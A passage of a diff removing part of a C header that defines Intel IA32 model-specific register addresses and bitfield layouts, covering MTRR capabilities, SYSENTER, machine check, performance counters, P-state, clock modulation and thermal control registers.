-typedef struct -{ - /** - * @brief C0 Actual Frequency Clock Count - * - * Accumulates core clock counts at the coordinated clock frequency, when the logical processor is in C0. Cleared upon - * overflow / wrap-around of IA32_MPERF. - */ - uint64_t c0_acnt; -} ia32_aperf_register; - - -/** - * MTRR Capability. - * - * @see Vol3A[11.11.2.1(IA32_MTRR_DEF_TYPE MSR)] - * @see Vol3A[11.11.1(MTRR Feature Identification)] (reference) - */ -#define IA32_MTRR_CAPABILITIES 0x000000FE -typedef union -{ - struct - { - /** - * @brief VCNT (variable range registers count) field - * - * [Bits 7:0] Indicates the number of variable ranges implemented on the processor. - */ - uint64_t variable_range_count : 8; -#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT_BIT 0 -#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT_FLAG 0xFF -#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT_MASK 0xFF -#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT(_) (((_) >> 0) & 0xFF) - - /** - * @brief FIX (fixed range registers supported) flag - * - * [Bit 8] Fixed range MTRRs (IA32_MTRR_FIX64K_00000 through IA32_MTRR_FIX4K_0F8000) are supported when set; no fixed range - * registers are supported when clear. - */ - uint64_t fixed_range_supported : 1; -#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED_BIT 8 -#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED_FLAG 0x100 -#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED_MASK 0x01 -#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED(_) (((_) >> 8) & 0x01) - uint64_t reserved1 : 1; - - /** - * @brief WC (write combining) flag - * - * [Bit 10] The write-combining (WC) memory type is supported when set; the WC type is not supported when clear. - */ - uint64_t wc_supported : 1; -#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED_BIT 10 -#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED_FLAG 0x400 -#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED_MASK 0x01 -#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED(_) (((_) >> 10) & 0x01) - - /** - * @brief SMRR (System-Management Range Register) flag - * - * [Bit 11] The system-management range register (SMRR) interface is supported when bit 11 is set; the SMRR interface is - * not supported when clear. - */ - uint64_t smrr_supported : 1; -#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED_BIT 11 -#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED_FLAG 0x800 -#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED_MASK 0x01 -#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED(_) (((_) >> 11) & 0x01) - uint64_t reserved2 : 52; - }; - - uint64_t flags; -} ia32_mtrr_capabilities_register; - - -/** - * @brief SYSENTER_CS_MSR (R/W) - * - * The lower 16 bits of this MSR are the segment selector for the privilege level 0 code segment. This value is also used - * to determine the segment selector of the privilege level 0 stack segment. This value cannot indicate a null selector. - * - * @remarks 06_01H - * @see Vol2B[4.3(Instructions (M-U) | SYSCALL - Fast System Call)] (reference) - */ -#define IA32_SYSENTER_CS 0x00000174 -typedef union -{ - struct - { - /** - * [Bits 15:0] CS Selector. - */ - uint64_t cs_selector : 16; -#define IA32_SYSENTER_CS_CS_SELECTOR_BIT 0 -#define IA32_SYSENTER_CS_CS_SELECTOR_FLAG 0xFFFF -#define IA32_SYSENTER_CS_CS_SELECTOR_MASK 0xFFFF -#define IA32_SYSENTER_CS_CS_SELECTOR(_) (((_) >> 0) & 0xFFFF) - - /** - * [Bits 31:16] Not used. - * - * @remarks Can be read and written. - */ - uint64_t not_used_1 : 16; -#define IA32_SYSENTER_CS_NOT_USED_1_BIT 16 -#define IA32_SYSENTER_CS_NOT_USED_1_FLAG 0xFFFF0000 -#define IA32_SYSENTER_CS_NOT_USED_1_MASK 0xFFFF -#define IA32_SYSENTER_CS_NOT_USED_1(_) (((_) >> 16) & 0xFFFF) - - /** - * [Bits 63:32] Not used. - * - * @remarks Writes ignored; reads return zero. - */ - uint64_t not_used_2 : 32; -#define IA32_SYSENTER_CS_NOT_USED_2_BIT 32 -#define IA32_SYSENTER_CS_NOT_USED_2_FLAG 0xFFFFFFFF00000000 -#define IA32_SYSENTER_CS_NOT_USED_2_MASK 0xFFFFFFFF -#define IA32_SYSENTER_CS_NOT_USED_2(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_sysenter_cs_register; - - -/** - * @brief SYSENTER_ESP_MSR (R/W) - * - * The value of this MSR is loaded into RSP (thus, this value contains the stack pointer for the privilege level 0 stack). - * This value cannot represent a non-canonical address. In protected mode, only bits 31:0 are loaded. - * - * @remarks 06_01H - * @see Vol2B[4.3(Instructions (M-U) | SYSCALL - Fast System Call)] (reference) - */ -#define IA32_SYSENTER_ESP 0x00000175 - - /** - * @brief SYSENTER_EIP_MSR (R/W) - * - * The value of this MSR is loaded into RIP (thus, this value references the first instruction of the selected operating - * procedure or routine). In protected mode, only bits 31:0 are loaded. - * - * @remarks 06_01H - * @see Vol2B[4.3(Instructions (M-U) | SYSCALL - Fast System Call)] (reference) - */ -#define IA32_SYSENTER_EIP 0x00000176 - - /** - * Global Machine Check Capability. - * - * @remarks 06_01H - */ -#define IA32_MCG_CAP 0x00000179 -typedef union -{ - struct - { - /** - * [Bits 7:0] Number of reporting banks. - */ - uint64_t count : 8; -#define IA32_MCG_CAP_COUNT_BIT 0 -#define IA32_MCG_CAP_COUNT_FLAG 0xFF -#define IA32_MCG_CAP_COUNT_MASK 0xFF -#define IA32_MCG_CAP_COUNT(_) (((_) >> 0) & 0xFF) - - /** - * [Bit 8] IA32_MCG_CTL is present if this bit is set. - */ - uint64_t mcg_ctl_p : 1; -#define IA32_MCG_CAP_MCG_CTL_P_BIT 8 -#define IA32_MCG_CAP_MCG_CTL_P_FLAG 0x100 -#define IA32_MCG_CAP_MCG_CTL_P_MASK 0x01 -#define IA32_MCG_CAP_MCG_CTL_P(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] Extended machine check state registers are present if this bit is set. - */ - uint64_t mcg_ext_p : 1; -#define IA32_MCG_CAP_MCG_EXT_P_BIT 9 -#define IA32_MCG_CAP_MCG_EXT_P_FLAG 0x200 -#define IA32_MCG_CAP_MCG_EXT_P_MASK 0x01 -#define IA32_MCG_CAP_MCG_EXT_P(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] Support for corrected MC error event is present. - * - * @remarks 06_01H - */ - uint64_t mcp_cmci_p : 1; -#define IA32_MCG_CAP_MCP_CMCI_P_BIT 10 -#define IA32_MCG_CAP_MCP_CMCI_P_FLAG 0x400 -#define IA32_MCG_CAP_MCP_CMCI_P_MASK 0x01 -#define IA32_MCG_CAP_MCP_CMCI_P(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] Threshold-based error status register are present if this bit is set. - */ - uint64_t mcg_tes_p : 1; -#define IA32_MCG_CAP_MCG_TES_P_BIT 11 -#define IA32_MCG_CAP_MCG_TES_P_FLAG 0x800 -#define IA32_MCG_CAP_MCG_TES_P_MASK 0x01 -#define IA32_MCG_CAP_MCG_TES_P(_) (((_) >> 11) & 0x01) - uint64_t reserved1 : 4; - - /** - * [Bits 23:16] Number of extended machine check state registers present. - */ - uint64_t mcg_ext_cnt : 8; -#define IA32_MCG_CAP_MCG_EXT_CNT_BIT 16 -#define IA32_MCG_CAP_MCG_EXT_CNT_FLAG 0xFF0000 -#define IA32_MCG_CAP_MCG_EXT_CNT_MASK 0xFF -#define IA32_MCG_CAP_MCG_EXT_CNT(_) (((_) >> 16) & 0xFF) - - /** - * [Bit 24] The processor supports software error recovery if this bit is set. - */ - uint64_t mcg_ser_p : 1; -#define IA32_MCG_CAP_MCG_SER_P_BIT 24 -#define IA32_MCG_CAP_MCG_SER_P_FLAG 0x1000000 -#define IA32_MCG_CAP_MCG_SER_P_MASK 0x01 -#define IA32_MCG_CAP_MCG_SER_P(_) (((_) >> 24) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bit 26] Indicates that the processor allows platform firmware to be invoked when an error is detected so that it may - * provide additional platform specific information in an ACPI format "Generic Error Data Entry" that augments the data - * included in machine check bank registers. - * - * @remarks 06_3EH - */ - uint64_t mcg_elog_p : 1; -#define IA32_MCG_CAP_MCG_ELOG_P_BIT 26 -#define IA32_MCG_CAP_MCG_ELOG_P_FLAG 0x4000000 -#define IA32_MCG_CAP_MCG_ELOG_P_MASK 0x01 -#define IA32_MCG_CAP_MCG_ELOG_P(_) (((_) >> 26) & 0x01) - - /** - * [Bit 27] Indicates that the processor supports extended state in IA32_MCG_STATUS and associated MSR necessary to - * configure Local Machine Check Exception (LMCE). - * - * @remarks 06_3EH - */ - uint64_t mcg_lmce_p : 1; -#define IA32_MCG_CAP_MCG_LMCE_P_BIT 27 -#define IA32_MCG_CAP_MCG_LMCE_P_FLAG 0x8000000 -#define IA32_MCG_CAP_MCG_LMCE_P_MASK 0x01 -#define IA32_MCG_CAP_MCG_LMCE_P(_) (((_) >> 27) & 0x01) - uint64_t reserved3 : 36; - }; - - uint64_t flags; -} ia32_mcg_cap_register; - - -/** - * Global Machine Check Status. - * - * @remarks 06_01H - */ -#define IA32_MCG_STATUS 0x0000017A -typedef union -{ - struct - { - /** - * [Bit 0] Restart IP valid. - * - * @remarks 06_01H - */ - uint64_t ripv : 1; -#define IA32_MCG_STATUS_RIPV_BIT 0 -#define IA32_MCG_STATUS_RIPV_FLAG 0x01 -#define IA32_MCG_STATUS_RIPV_MASK 0x01 -#define IA32_MCG_STATUS_RIPV(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Error IP valid. - * - * @remarks 06_01H - */ - uint64_t eipv : 1; -#define IA32_MCG_STATUS_EIPV_BIT 1 -#define IA32_MCG_STATUS_EIPV_FLAG 0x02 -#define IA32_MCG_STATUS_EIPV_MASK 0x01 -#define IA32_MCG_STATUS_EIPV(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Machine check in progress. - * - * @remarks 06_01H - */ - uint64_t mcip : 1; -#define IA32_MCG_STATUS_MCIP_BIT 2 -#define IA32_MCG_STATUS_MCIP_FLAG 0x04 -#define IA32_MCG_STATUS_MCIP_MASK 0x01 -#define IA32_MCG_STATUS_MCIP(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] If IA32_MCG_CAP.LMCE_P[27] = 1. - */ - uint64_t lmce_s : 1; -#define IA32_MCG_STATUS_LMCE_S_BIT 3 -#define IA32_MCG_STATUS_LMCE_S_FLAG 0x08 -#define IA32_MCG_STATUS_LMCE_S_MASK 0x01 -#define IA32_MCG_STATUS_LMCE_S(_) (((_) >> 3) & 0x01) - uint64_t reserved1 : 60; - }; - - uint64_t flags; -} ia32_mcg_status_register; - - -/** - * Global Machine Check Control. - * - * @remarks If IA32_MCG_CAP.CTL_P[8] = 1 - */ -#define IA32_MCG_CTL 0x0000017B - /** - * @defgroup ia32_perfevtsel \ - * IA32_PERFEVTSEL(n) - * - * Performance Event Select Register n. - * - * @remarks If CPUID.0AH: EAX[15:8] > n - * @{ - */ -#define IA32_PERFEVTSEL0 0x00000186 -#define IA32_PERFEVTSEL1 0x00000187 -#define IA32_PERFEVTSEL2 0x00000188 -#define IA32_PERFEVTSEL3 0x00000189 -typedef union -{ - struct - { - /** - * [Bits 7:0] Selects a performance event logic unit. - */ - uint64_t event_select : 8; -#define IA32_PERFEVTSEL_EVENT_SELECT_BIT 0 -#define IA32_PERFEVTSEL_EVENT_SELECT_FLAG 0xFF -#define IA32_PERFEVTSEL_EVENT_SELECT_MASK 0xFF -#define IA32_PERFEVTSEL_EVENT_SELECT(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] Qualifies the microarchitectural condition to detect on the selected event logic. - */ - uint64_t u_mask : 8; -#define IA32_PERFEVTSEL_U_MASK_BIT 8 -#define IA32_PERFEVTSEL_U_MASK_FLAG 0xFF00 -#define IA32_PERFEVTSEL_U_MASK_MASK 0xFF -#define IA32_PERFEVTSEL_U_MASK(_) (((_) >> 8) & 0xFF) - - /** - * [Bit 16] Counts while in privilege level is not ring 0. - */ - uint64_t usr : 1; -#define IA32_PERFEVTSEL_USR_BIT 16 -#define IA32_PERFEVTSEL_USR_FLAG 0x10000 -#define IA32_PERFEVTSEL_USR_MASK 0x01 -#define IA32_PERFEVTSEL_USR(_) (((_) >> 16) & 0x01) - - /** - * [Bit 17] Counts while in privilege level is ring 0. - */ - uint64_t os : 1; -#define IA32_PERFEVTSEL_OS_BIT 17 -#define IA32_PERFEVTSEL_OS_FLAG 0x20000 -#define IA32_PERFEVTSEL_OS_MASK 0x01 -#define IA32_PERFEVTSEL_OS(_) (((_) >> 17) & 0x01) - - /** - * [Bit 18] Enables edge detection if set. - */ - uint64_t edge : 1; -#define IA32_PERFEVTSEL_EDGE_BIT 18 -#define IA32_PERFEVTSEL_EDGE_FLAG 0x40000 -#define IA32_PERFEVTSEL_EDGE_MASK 0x01 -#define IA32_PERFEVTSEL_EDGE(_) (((_) >> 18) & 0x01) - - /** - * [Bit 19] Enables pin control. - */ - uint64_t pc : 1; -#define IA32_PERFEVTSEL_PC_BIT 19 -#define IA32_PERFEVTSEL_PC_FLAG 0x80000 -#define IA32_PERFEVTSEL_PC_MASK 0x01 -#define IA32_PERFEVTSEL_PC(_) (((_) >> 19) & 0x01) - - /** - * [Bit 20] Enables interrupt on counter overflow. - */ - uint64_t intr : 1; -#define IA32_PERFEVTSEL_INTR_BIT 20 -#define IA32_PERFEVTSEL_INTR_FLAG 0x100000 -#define IA32_PERFEVTSEL_INTR_MASK 0x01 -#define IA32_PERFEVTSEL_INTR(_) (((_) >> 20) & 0x01) - - /** - * [Bit 21] When set to 1, it enables counting the associated event conditions occurring across all logical processors - * sharing a processor core. When set to 0, the counter only increments the associated event conditions occurring in the - * logical processor which programmed the MSR. - */ - uint64_t any_thread : 1; -#define IA32_PERFEVTSEL_ANY_THREAD_BIT 21 -#define IA32_PERFEVTSEL_ANY_THREAD_FLAG 0x200000 -#define IA32_PERFEVTSEL_ANY_THREAD_MASK 0x01 -#define IA32_PERFEVTSEL_ANY_THREAD(_) (((_) >> 21) & 0x01) - - /** - * [Bit 22] Enables the corresponding performance counter to commence counting when this bit is set. - */ - uint64_t en : 1; -#define IA32_PERFEVTSEL_EN_BIT 22 -#define IA32_PERFEVTSEL_EN_FLAG 0x400000 -#define IA32_PERFEVTSEL_EN_MASK 0x01 -#define IA32_PERFEVTSEL_EN(_) (((_) >> 22) & 0x01) - - /** - * [Bit 23] Invert the CMASK. - */ - uint64_t inv : 1; -#define IA32_PERFEVTSEL_INV_BIT 23 -#define IA32_PERFEVTSEL_INV_FLAG 0x800000 -#define IA32_PERFEVTSEL_INV_MASK 0x01 -#define IA32_PERFEVTSEL_INV(_) (((_) >> 23) & 0x01) - - /** - * [Bits 31:24] When CMASK is not zero, the corresponding performance counter increments each cycle if the event count is - * greater than or equal to the CMASK. - */ - uint64_t cmask : 8; -#define IA32_PERFEVTSEL_CMASK_BIT 24 -#define IA32_PERFEVTSEL_CMASK_FLAG 0xFF000000 -#define IA32_PERFEVTSEL_CMASK_MASK 0xFF -#define IA32_PERFEVTSEL_CMASK(_) (((_) >> 24) & 0xFF) - uint64_t reserved1 : 32; - }; - - uint64_t flags; -} ia32_perfevtsel_register; - -/** - * @} - */ - - - /** - * Current Performance Status. - * - * @remarks 0F_03H - * @see Vol3B[14.1.1(Software Interface For Initiating Performance State Transitions)] - */ -#define IA32_PERF_STATUS 0x00000198 -typedef union -{ - struct - { - /** - * [Bits 15:0] Current performance State Value. - */ - uint64_t state_value : 16; -#define IA32_PERF_STATUS_STATE_VALUE_BIT 0 -#define IA32_PERF_STATUS_STATE_VALUE_FLAG 0xFFFF -#define IA32_PERF_STATUS_STATE_VALUE_MASK 0xFFFF -#define IA32_PERF_STATUS_STATE_VALUE(_) (((_) >> 0) & 0xFFFF) - uint64_t reserved1 : 48; - }; - - uint64_t flags; -} ia32_perf_status_register; - - -/** - * @brief Performance Control (R/W) - * - * Performance Control. Software makes a request for a new Performance state (P-State) by writing this MSR. - * - * @remarks 0F_03H - * @see Vol3B[14.1.1(Software Interface For Initiating Performance State Transitions)] - */ -#define IA32_PERF_CTL 0x00000199 -typedef union -{ - struct - { - /** - * [Bits 15:0] Target performance State Value. - */ - uint64_t target_state_value : 16; -#define IA32_PERF_CTL_TARGET_STATE_VALUE_BIT 0 -#define IA32_PERF_CTL_TARGET_STATE_VALUE_FLAG 0xFFFF -#define IA32_PERF_CTL_TARGET_STATE_VALUE_MASK 0xFFFF -#define IA32_PERF_CTL_TARGET_STATE_VALUE(_) (((_) >> 0) & 0xFFFF) - uint64_t reserved1 : 16; - - /** - * [Bit 32] IDA Engage. - * - * @remarks 06_0FH (Mobile only) - */ - uint64_t ida_engage : 1; -#define IA32_PERF_CTL_IDA_ENGAGE_BIT 32 -#define IA32_PERF_CTL_IDA_ENGAGE_FLAG 0x100000000 -#define IA32_PERF_CTL_IDA_ENGAGE_MASK 0x01 -#define IA32_PERF_CTL_IDA_ENGAGE(_) (((_) >> 32) & 0x01) - uint64_t reserved2 : 31; - }; - - uint64_t flags; -} ia32_perf_ctl_register; - - -/** - * Clock Modulation Control. - * - * @remarks If CPUID.01H:EDX[22] = 1 - * @see Vol3B[14.7.3(Software Controlled Clock Modulation)] - */ -#define IA32_CLOCK_MODULATION 0x0000019A -typedef union -{ - struct - { - /** - * [Bit 0] Extended On-Demand Clock Modulation Duty Cycle. - * - * @remarks If CPUID.06H:EAX[5] = 1 - */ - uint64_t extended_on_demand_clock_modulation_duty_cycle : 1; -#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_BIT 0 -#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_FLAG 0x01 -#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_MASK 0x01 -#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE(_) (((_) >> 0) & 0x01) - - /** - * @brief On-Demand Clock Modulation Duty Cycle - * - * [Bits 3:1] On-Demand Clock Modulation Duty Cycle: Specific encoded values for target duty cycle modulation. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t on_demand_clock_modulation_duty_cycle : 3; -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_BIT 1 -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_FLAG 0x0E -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_MASK 0x07 -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE(_) (((_) >> 1) & 0x07) - - /** - * @brief On-Demand Clock Modulation Enable - * - * [Bit 4] On-Demand Clock Modulation Enable: Set 1 to enable modulation. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t on_demand_clock_modulation_enable : 1; -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE_BIT 4 -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE_FLAG 0x10 -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE_MASK 0x01 -#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE(_) (((_) >> 4) & 0x01) - uint64_t reserved1 : 59; - }; - - uint64_t flags; -} ia32_clock_modulation_register; - - -/** - * @brief Thermal Interrupt Control (R/W) - * - * Thermal Interrupt Control. Enables and disables the generation of an interrupt on temperature transitions detected with - * the processor's thermal sensors and thermal monitor. - * - * @remarks If CPUID.01H:EDX[22] = 1 - * @see Vol3B[14.7.2(Thermal Monitor)] - */ -#define IA32_THERM_INTERRUPT 0x0000019B -typedef union -{ - struct - { - /** - * [Bit 0] High-Temperature Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t high_temperature_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_BIT 0 -#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x01 -#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Low-Temperature Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t low_temperature_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_BIT 1 -#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x02 -#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] PROCHOT\# Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t prochot_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_BIT 2 -#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_FLAG 0x04 -#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] FORCEPR\# Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t forcepr_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE_BIT 3 -#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE_FLAG 0x08 -#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Critical Temperature Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t critical_temperature_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE_BIT 4 -#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x10 -#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 4) & 0x01) - uint64_t reserved1 : 3; - - /** - * [Bits 14:8] Threshold \#1 Value - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t threshold1_value : 7; -#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE_BIT 8 -#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE_FLAG 0x7F00 -#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE_MASK 0x7F -#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE(_) (((_) >> 8) & 0x7F) - - /** - * [Bit 15] Threshold \#1 Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t threshold1_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_BIT 15 -#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_FLAG 0x8000 -#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE(_) (((_) >> 15) & 0x01) - - /** - * [Bits 22:16] Threshold \#2 Value. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t threshold2_value : 7; -#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE_BIT 16 -#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE_FLAG 0x7F0000 -#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE_MASK 0x7F -#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE(_) (((_) >> 16) & 0x7F) - - /** - * [Bit 23] Threshold \#2 Interrupt Enable. - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t threshold2_interrupt_enable : 1; -#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_BIT 23 -#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_FLAG 0x800000 -#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE(_) (((_) >> 23) & 0x01) - - /** - * [Bit 24] Power Limit Notification Enable. - * - * @remarks If CPUID.06H:EAX[4] = 1 - */ - uint64_t power_limit_notification_enable : 1; -#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_BIT 24 -#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_FLAG 0x1000000 -#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_MASK 0x01 -#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE(_) (((_) >> 24) & 0x01) - uint64_t reserved2 : 39; - }; - - uint64_t flags; -} ia32_therm_interrupt_register; - - -/** - * @brief Thermal Status Information (RO) - * - * Thermal Status Information. Contains status information about the processor's thermal sensor and automatic thermal - * monitoring facilities. - * - * @remarks If CPUID.01H:EDX[22] = 1 - * @see Vol3B[14.7.2(Thermal Monitor)] - */ -#define IA32_THERM_STATUS 0x0000019C -typedef union -{ - struct - { - /** - * [Bit 0] Thermal Status - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t thermal_status : 1; -#define IA32_THERM_STATUS_THERMAL_STATUS_BIT 0 -#define IA32_THERM_STATUS_THERMAL_STATUS_FLAG 0x01 -#define IA32_THERM_STATUS_THERMAL_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_THERMAL_STATUS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Thermal Status Log - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t thermal_status_log : 1; -#define IA32_THERM_STATUS_THERMAL_STATUS_LOG_BIT 1 -#define IA32_THERM_STATUS_THERMAL_STATUS_LOG_FLAG 0x02 -#define IA32_THERM_STATUS_THERMAL_STATUS_LOG_MASK 0x01 -#define IA32_THERM_STATUS_THERMAL_STATUS_LOG(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] PROCHOT \# or FORCEPR\# event - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t prochot_forcepr_event : 1; -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT_BIT 2 -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT_FLAG 0x04 -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT_MASK 0x01 -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_EVENT(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] PROCHOT \# or FORCEPR\# log - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t prochot_forcepr_log : 1; -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG_BIT 3 -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG_FLAG 0x08 -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG_MASK 0x01 -#define IA32_THERM_STATUS_PROCHOT_FORCEPR_LOG(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Critical Temperature Status - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t critical_temperature_status : 1; -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_BIT 4 -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_FLAG 0x10 -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Critical Temperature Status log - * - * @remarks If CPUID.01H:EDX[22] = 1 - */ - uint64_t critical_temperature_status_log : 1; -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_BIT 5 -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_FLAG 0x20 -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG_MASK 0x01 -#define IA32_THERM_STATUS_CRITICAL_TEMPERATURE_STATUS_LOG(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Thermal Threshold \#1 Status - * - * @remarks If CPUID.01H:ECX[8] = 1 - */ - uint64_t thermal_threshold1_status : 1; -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_BIT 6 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_FLAG 0x40 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS_MASK 0x01 -#define IA32_THERM_STATUS_THERMAL_THRESHOLD1_STATUS(_) (((_) >> 6) & 0x01) - - /** - * [Bit 